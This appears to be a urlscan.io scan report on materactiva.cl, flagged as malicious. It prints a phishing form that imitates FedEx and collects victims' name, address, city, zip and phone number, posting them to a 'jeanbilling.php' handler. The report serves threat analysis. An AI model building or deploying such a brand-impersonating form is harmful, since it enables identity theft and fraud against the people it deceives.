materactiva.cl Open in urlscan Pro
200.6.104.65  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

POST ./app/fedex/jeanbilling.php

<form action="./app/fedex/jeanbilling.php" method="POST" id="form_validation" class="uk-form-stacked">
  <div>
    <center><img style="max-width:25%;height:auto;" src="./fedex/fdx.png" class=""></center>
    <h2 style="font-family: Raleway; color: #4D148C;">Verify Your Informations </h2>
  </div>
  <div class="uk-form-row">
    <label for="jeanname" style="color:#4D148C;font-family: Raleway;"> Full Name * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeanname" data-parsley-trigger="change" required=""
        data-parsley-id="6">
    </label>
  </div>
  <div class="uk-form-row">
    <label for="jeanadress" style="color:#4D148C;font-family: Raleway;"> Address * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanadress" name="jeanadress" data-parsley-trigger="change" required=""
        data-parsley-id="6">
    </label>
  </div>
  <div class="uk-form-row">
    <label for="jeancountry" style="color:#4D148C;font-family: Raleway;"> Country * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeancountry" name="jeancity" data-parsley-trigger="change" required=""
        data-parsley-id="6">
    </label>
  </div>
  <div class="uk-form-row">
    <label for="jeancity" style="color:#4D148C;font-family: Raleway;"> City * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeancity" name="jeancity" data-parsley-trigger="change" required="" data-parsley-id="6">
    </label>
  </div>
  <div class="uk-form-row">
    <label for="jeanstate" style="color:#4D148C;font-family: Raleway;"> State * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanstate" name="jeanstate" data-parsley-trigger="change" required=""
        data-parsley-id="6">
    </label>
  </div>
  <div class="uk-form-row">
    <label for="jeanzip" style="color:#4D148C;font-family: Raleway;"> Zip code * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanzip" name="jeanzip" data-parsley-trigger="change" required="" data-parsley-id="6">
    </label>
  </div>
  <div class="uk-form-row">
    <label for="jeanphone" style="color:#4D148C;font-family: Raleway;"> Phone number * <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanphone" name="jeanphone" data-parsley-trigger="change" required=""
        data-parsley-id="6">
    </label>
  </div>
  <div class="uk-margin-medium-top">
    <input style="font-family: Raleway;" type="submit" class="dhl-Button dhl-Button--secondary" name="login" value="Confirm">
  </div>
</form>

Text Content

VERIFY YOUR INFORMATIONS

Full Name *
Address *
Country *
City *
State *
Zip code *
Phone number *


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